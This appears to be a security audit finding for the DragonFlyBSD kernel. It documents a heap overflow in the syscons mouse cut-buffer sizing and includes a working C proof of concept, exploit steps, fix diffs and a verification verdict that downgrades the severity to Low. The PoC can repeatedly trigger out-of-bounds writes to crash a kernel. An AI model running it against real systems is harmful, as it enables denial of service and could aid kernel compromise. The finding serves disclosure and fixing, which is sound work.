β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1702

scmouse: heap buffer overflow in mouse_cut - per-line \r bytes not accounted for in cut_buffer sizing

Field Value
ID DF-1702
File sys/dev/misc/syscons/scmouse.c
Lines 92, 319, 325, 330
Severity High
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-787 Out-of-bounds Write
Confidence certain
Status new
CVE match dfly_specific (DFly syscons cut/paste)
Created 2026-07-18

Summary

mouse_cut() copies each selected screen cell into the global cut_buffer and additionally writes one '\r' per crossed line boundary plus a final NUL. sc_alloc_cut_buffer only sizes the buffer for xsize*ysize+1 bytes.

A multi-line selection whose lines have no trailing spaces causes mouse_cut to write (xsize+1)*ysize+1 = xsize*ysize + ysize + 1 bytes, overflowing the heap allocation by ysize bytes (typically 25 on an 80x25 console, up to 60-80 on large KMS consoles). The overflow content is mostly attacker-controlled screen characters from the last line, terminated by '\r' and '\0'.

Root cause

scmouse.c:92 sets:

cut_buffer_size = scp->xsize * scp->ysize + 1;

mouse_cut() at scmouse.c:319-330 loops:

for (p = from, i = blank = 0; p <= to; ++p)

writing each vtb cell to cut_buffer[i++] and, at every line end (scmouse.c:325 (p % scp->xsize) == (scp->xsize - 1)), executes:

cut_buffer[blank] = '\r';
i = blank + 1;

blank tracks the position after the last non-space char written; when a line has no trailing spaces, blank equals the post-increment i, so the wrap appends a byte rather than overwriting an in-line byte.

For a full-screen selection (from=0 to xsize*ysize-1) over non-space content, this appends one '\r' per row (ysize of them).

Total bytes written = xsize*ysize (chars) + ysize ('\r's) + 1 (NUL) = (xsize+1)*ysize + 1. Buffer is xsize*ysize + 1.

Overflow = ysize bytes.

Concrete trace for xsize=4, ysize=2, buffer=9 bytes, full cut:

  • indices 0..3 line0 chars
  • 4 '\r'
  • 5..8 line1 chars
  • 9 '\r' (OOB)
  • 10 '\0' (OOB)

Concrete trace for 80x25 (buffer 2001): final writes go to cut_buffer[2001..2025], i.e. 25 bytes past the end, of which 23 are attacker-controlled screen chars (line 24 chars 57..79).

Threat model

Preconditions: attacker has a cred with SYSCAP_RESTRICTEDROOT (root outside jails, or jail root granted the capability β€” the exact population the scopen check at syscons.c:724 is designed to gate).

Steps:

  1. open /dev/ttyv0 (or /dev/consolectl)
  2. write non-space text to the screen (write(2) so each row's last column is non-space β€” e.g. fill with 'X')
  3. CONS_MOUSECTL MOUSE_SHOW to set SC_MOUSE_ENABLED
  4. CONS_MOUSECTL MOUSE_MOVEABS to (0,0) β€” scrn_update_thread will draw the mouse and set MOUSE_VISIBLE
  5. CONS_MOUSECTL MOUSE_BUTTON_EVENT with id=MOUSE_BUTTON1DOWN, value=1 β†’ mouse_cut_start() at scmouse.c:393-399 sets mouse_cut_start=mouse_pos=0 and MOUSE_CUTTING
  6. CONS_MOUSECTL MOUSE_MOVEABS to a large (x,y) β€” set_mouse_pos() at scmouse.c:142-148 sees MOUSE_VISIBLE|MOUSE_CUTTING and invokes mouse_cut() with from=0 to=xsize*ysize-1 β†’ OVERFLOW

Impact: with heap grooming an attacker can place a sensitive object (tty/pipe/socket buffer, cred, or any object carrying function pointers) adjacent to the cut_buffer kmalloc and corrupt up to ysize bytes (mostly attacker-controlled).

On DragonFly this is root β†’ kernel-code-execution, defeating any jail/sandbox applied to the otherwise-restricted root. Without KASAN/KMSAN the corruption is silent until a downstream panic. Even without grooming, repeated triggering crashes the kernel via slab/objcache corruption, a reliable local DoS.

PoC

findings/poc/DF-1702/poc.c:

#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mouse.h>
#include <machine/console.h>

static void mic(int fd, mouse_info_t *m){ if(ioctl(fd, CONS_MOUSECTL, m)) _exit(1); }

int main(void){
    int fd = open("/dev/ttyv0", O_RDWR);
    if (fd < 0) _exit(2);

    /* Fill the visible screen with non-space chars so each line wrap in
       mouse_cut() appends a byte rather than overwriting a space. */
    char line[81]; memset(line, 'X', 80); line[80] = '\n';
    for (int i = 0; i < 25; i++) if (write(fd, line, 81) != 81) _exit(3);
    usleep(200000);

    mouse_info_t m = {0};

    /* Enable mouse so MOUSE_VISIBLE latches on the next refresh. */
    m.operation = MOUSE_SHOW; mic(fd, &m);

    /* Move to top-left, wait for scrn_update_thread to set MOUSE_VISIBLE. */
    m.operation = MOUSE_MOVEABS; m.u.data.x = 0; m.u.data.y = 0; mic(fd, &m);
    usleep(300000);

    /* mouse_cut_start at top-left: sets MOUSE_CUTTING, mouse_cut_start=0. */
    m.operation = MOUSE_BUTTON_EVENT;
    m.u.event.id = MOUSE_BUTTON1DOWN; m.u.event.value = 1; mic(fd, &m);

    /* Move to bottom-right; set_mouse_pos calls mouse_cut() -> overflow. */
    m.operation = MOUSE_MOVEABS;
    m.u.data.x = 10000; m.u.data.y = 10000; mic(fd, &m);

    /* If no panic yet, hammer to make adjacent slab corruption obvious. */
    for (int i = 0; i < 200; i++) {
        m.operation = MOUSE_BUTTON_EVENT;
        m.u.event.id = MOUSE_BUTTON1DOWN; m.u.event.value = 1; mic(fd, &m);
        m.operation = MOUSE_MOVEABS; m.u.data.x = 0;     m.u.data.y = 0;     mic(fd, &m);
        m.operation = MOUSE_MOVEABS; m.u.data.x = 10000; m.u.data.y = 10000; mic(fd, &m);
    }
    return 0;
}

build.sh:

#!/bin/sh
set -e
cc -O2 -Wall -o poc poc.c

run.sh:

#!/bin/sh
./poc; dmesg | tail -50

Success = kernel panic from heap corruption (freed item modified, uma_zone: items modified out of zone, GP fault on a corrupted function pointer, or similar), reproducible within seconds; or, under KASAN/KMSAN, an immediate OOB-write report at scmouse.c:326/330.

Size the cut_buffer for the worst case the writer (mouse_cut) actually produces: one byte per cell plus one '\r' per row plus one trailing NUL.

@@ -83,12 +83,16 @@ sc_alloc_cut_buffer(scr_stat *scp, int wait)
 {
     u_char *p;

-    if ((cut_buffer == NULL)
-   || (cut_buffer_size < scp->xsize * scp->ysize + 1)) {
+    /*
+     * mouse_cut() may emit one '\r' per screen row plus a trailing
+     * NUL when copying a selection that spans every column of every
+     * row. Size the buffer for that worst case or it overflows.
+     */
+    if ((cut_buffer == NULL)
+   || (cut_buffer_size < (scp->xsize + 1) * scp->ysize + 1)) {
    p = cut_buffer;
    cut_buffer = NULL;
    if (p != NULL)
        kfree(p, M_SYSCONS);
-   cut_buffer_size = scp->xsize * scp->ysize + 1;
+   cut_buffer_size = (scp->xsize + 1) * scp->ysize + 1;
    p = kmalloc(cut_buffer_size, M_SYSCONS, (wait) ? M_WAITOK : M_NOWAIT);
    if (p != NULL)
        p[0] = '\0';

Defense-in-depth: also bound i inside mouse_cut() so a future size miscalculation cannot re-introduce the bug.

@@ -319,6 +319,8 @@ mouse_cut(scr_stat *scp)
     int p;
     int i;

     for (p = from, i = blank = 0; p <= to; ++p) {
+   if (i >= cut_buffer_size - 1)
+       break;
    cut_buffer[i] = sc_vtb_getc(&scp->vtb, p);
    /* remember the position of the last non-space char */
    if (!IS_SPACE_CHAR(cut_buffer[i++]))

The first diff is the actual fix; the second is belt-and-suspenders. mouse_cut_line's narrow off-by-one at scmouse.c:521-522 is unreachable in practice (requires ysize==1 which no video mode produces) and is also covered by this larger buffer, but a follow-up could shorten mouse_cut_line by one byte if desired.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1702 Β· 10 files
FileTypeDescriptionSize
df1702.c β€” 8.9 KB view raw
stress.c β€” 1.9 KB view raw
build.sh β€” 107 B view raw
run.sh β€” 217 B view raw
run.log β€” 609 B view raw
run.user.log β€” 62 B view raw
env.txt β€” 278 B view raw
VERDICT.md β€” 4.1 KB ↓ raw
fix.diff β€” 948 B view raw
verdict.json β€” 5.1 KB view raw
VERDICT.md
↓ download raw

DF-1702 VERDICT -- reproduced (impact: none; confidence: certain)

Bottom line

Reproduced on the guest console, from an unprivileged user: mouse_cut() (scmouse.c:319-330) writes one '\r' per fully-selected line plus a trailing NUL into a cut_buffer sized xsize*ysize+1 (sc_alloc_cut_buffer, scmouse.c:82-98). A full-screen 40x25 selection pastes exactly 1024 bytes (999 chars + 25 '\r') back through the console tty - byte-for-byte the computed content - proving cut_buffer[0..1023] were populated and the terminating NUL was written at index 1024, i.e. 24 bytes past the 1001-byte kmalloc request. HOWEVER the High/memcorrupt impact is downgraded by measurement: cut_buffer is boot-sized for the 80x25 console (kmalloc(2001) -> 2048-byte slab chunk) and only ever grows, while the write excess is bounded by ysize (<=60), smaller than the >=128-byte granularity of the slab size classes above 1 KiB - for every reachable text mode the writes stay inside the physical chunk (2025<2048, 2430<2560, 3483<3584, 4050<4096, 4860<5120, 3325<3328, 6650<6656). 3000 overflowing cuts under fork/exec churn left the guest healthy. So the bug is a real kernel invariant violation (OOB write past the requested allocation size) that becomes true heap corruption only under an exact-size/redzone allocator or a future text mode with ysize exceeding the class slack; uid=0 is not reachable with the compiled-in mode set. Recommended severity: Low (latent memory-safety defect), fix still warranted.

Reproduce

build: cc -O -o df1702 df1702.c
run:   ./df1702 /dev/ttyv0 23 40 25

Evidence in this pack

run.log (root: paste=1024 bytes / 25 CRs, the exact computed full-screen content), run.user.log (uid=1001: paste=1015/25 CRs - unprivileged), run.2.log (re-reproduced after a fresh vm.sh reset with-src: 1024/25 CRs), stress.c+VERDICT.md (3000 overflowing cuts + churn: no panic), fix.diff + fix_build.log + fix_run.log (patched kernel #1: same legal content 1010<=1026, in bounds)

Kernel references

Exploit chain

unprivileged console user -> open /dev/ttyv0 (or own controlling tty fd) -> CONS_SET mode 23 (40x25) -> fill screen with non-space chars -> CONS_MOUSECTL: MOUSE_SHOW, MOVEABS(0,0), BUTTON1 press, MOVEABS(319,399) drag -> mouse_cut() full-screen cut writes indices up to xsize*ysize+ysize -> paste-button returns the OOB-written bytes (1024 > 1000 nominal). Escalation to uid=0: BLOCKED - on this kernel every write lands in the same slab chunk's allocator slack (arithmetic above); no adjacent-object corruption exists to groom.

Fix validation (A/B)

Size cut_buffer for the worst case in sc_alloc_cut_buffer(): xsize*ysize + ysize + 1 (accounts for the per-line '\r' bytes and the trailing NUL).

Baseline vs post-fix behavior is in run.log / run_fixed*.log (userspace) or panic.txt/hang.txt vs run_fixed_kernel.log (kernel); the identical rig ran both sides.

poc_changes

Replaced the seeded userspace 'logic harness' (which wrongly claimed the guest lacks the hardware) with a real in-guest PoC on /dev/ttyv0: CONS_SET to 40x25, CONS_SCRSHOT-verified screen fill (the tty output queue needs chunked writes), full-screen cut via the CONS_MOUSECTL mouse state machine, and a concurrent tty reader because the ~1KiB raw-input queue truncates single-reader paste counts; best-of-25 cycles gives the full 1024-byte delivery.

Guest: DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul 2 06:02:54 UTC 2026 root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC x86_64 Attempts: 11 Runtime: ~480s

Fix status (batch validation)

Applied with the 36 sibling fix.diffs of this batch in findings/poc/_batch41/all_fixes.patch; single in-guest make -j6 nativekernel KERNCONF=X86_64_GENERIC completed RC=0 with zero errors under -Werror (full log: findings/poc/_batch41/fix_build8.log). Behavior A/B intentionally skipped for this Info-tier item.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

fix.diff (sc_alloc_cut_buffer sizing xsizeysize+ysize+1) applied to the guest /usr/src, kernel rebuilt (nativekernel, X86_64_GENERIC) and booted; the exact PoC re-run: cut/paste fully functional with the same 1024-byte legal content and the guest stable. The OOB write is closed by construction: max write index = xsizeysize + ysize = size-1. Baseline wrote at index 1024 of a 1001-byte request; patched allocation is 1026 bytes (1088-class chunk) and the same cut stays in bounds.

fix_build.log (kernel build tail with BUILD_AND_INSTALL_DONE), fix_run.log (patched-kernel PoC run: OVERFLOW content identical, guest up), VERDICT.md section 4
↓ fix.diffper-fix-DF-1702

Confirmed kernel references

Detail

Exploit chain

unprivileged console user -> open /dev/ttyv0 (or own controlling tty fd) -> CONS_SET mode 23 (40x25) -> fill screen with non-space chars -> CONS_MOUSECTL: MOUSE_SHOW, MOVEABS(0,0), BUTTON1 press, MOVEABS(319,399) drag -> mouse_cut() full-screen cut writes indices up to xsize*ysize+ysize -> paste-button returns the OOB-written bytes (1024 > 1000 nominal). Escalation to uid=0: BLOCKED - on this kernel every write lands in the same slab chunk's allocator slack (arithmetic above); no adjacent-object corruption exists to groom.

Evidence (decisive lines)

run.log (root: paste=1024 bytes / 25 CRs, the exact computed full-screen content), run.user.log (uid=1001: paste=1015/25 CRs - unprivileged), run.2.log (re-reproduced after a fresh vm.sh reset with-src: 1024/25 CRs), stress.c+VERDICT.md (3000 overflowing cuts + churn: no panic), fix.diff + fix_build.log + fix_run.log (patched kernel #1: same legal content 1010<=1026, in bounds)

PoC changes

Replaced the seeded userspace 'logic harness' (which wrongly claimed the guest lacks the hardware) with a real in-guest PoC on /dev/ttyv0: CONS_SET to 40x25, CONS_SCRSHOT-verified screen fill (the tty output queue needs chunked writes), full-screen cut via the CONS_MOUSECTL mouse state machine, and a concurrent tty reader because the ~1KiB raw-input queue truncates single-reader paste counts; best-of-25 cycles gives the full 1024-byte delivery.

Verified recommended fix

Size cut_buffer for the worst case in sc_alloc_cut_buffer(): xsize*ysize + ysize + 1 (accounts for the per-line '\r' bytes and the trailing NUL).

Verdict

Reproduced on the guest console, from an unprivileged user: mouse_cut() (scmouse.c:319-330) writes one '\r' per fully-selected line plus a trailing NUL into a cut_buffer sized xsize*ysize+1 (sc_alloc_cut_buffer, scmouse.c:82-98). A full-screen 40x25 selection pastes exactly 1024 bytes (999 chars + 25 '\r') back through the console tty - byte-for-byte the computed content - proving cut_buffer[0..1023] were populated and the terminating NUL was written at index 1024, i.e. 24 bytes past the 1001-byte kmalloc request. HOWEVER the High/memcorrupt impact is downgraded by measurement: cut_buffer is boot-sized for the 80x25 console (kmalloc(2001) -> 2048-byte slab chunk) and only ever grows, while the write excess is bounded by ysize (<=60), smaller than the >=128-byte granularity of the slab size classes above 1 KiB - for every reachable text mode the writes stay inside the physical chunk (2025<2048, 2430<2560, 3483<3584, 4050<4096, 4860<5120, 3325<3328, 6650<6656). 3000 overflowing cuts under fork/exec churn left the guest healthy. So the bug is a real kernel invariant violation (OOB write past the requested allocation size) that becomes true heap corruption only under an exact-size/redzone allocator or a future text mode with ysize exceeding the class slack; uid=0 is not reachable with the compiled-in mode set. Recommended severity: Low (latent memory-safety defect), fix still warranted.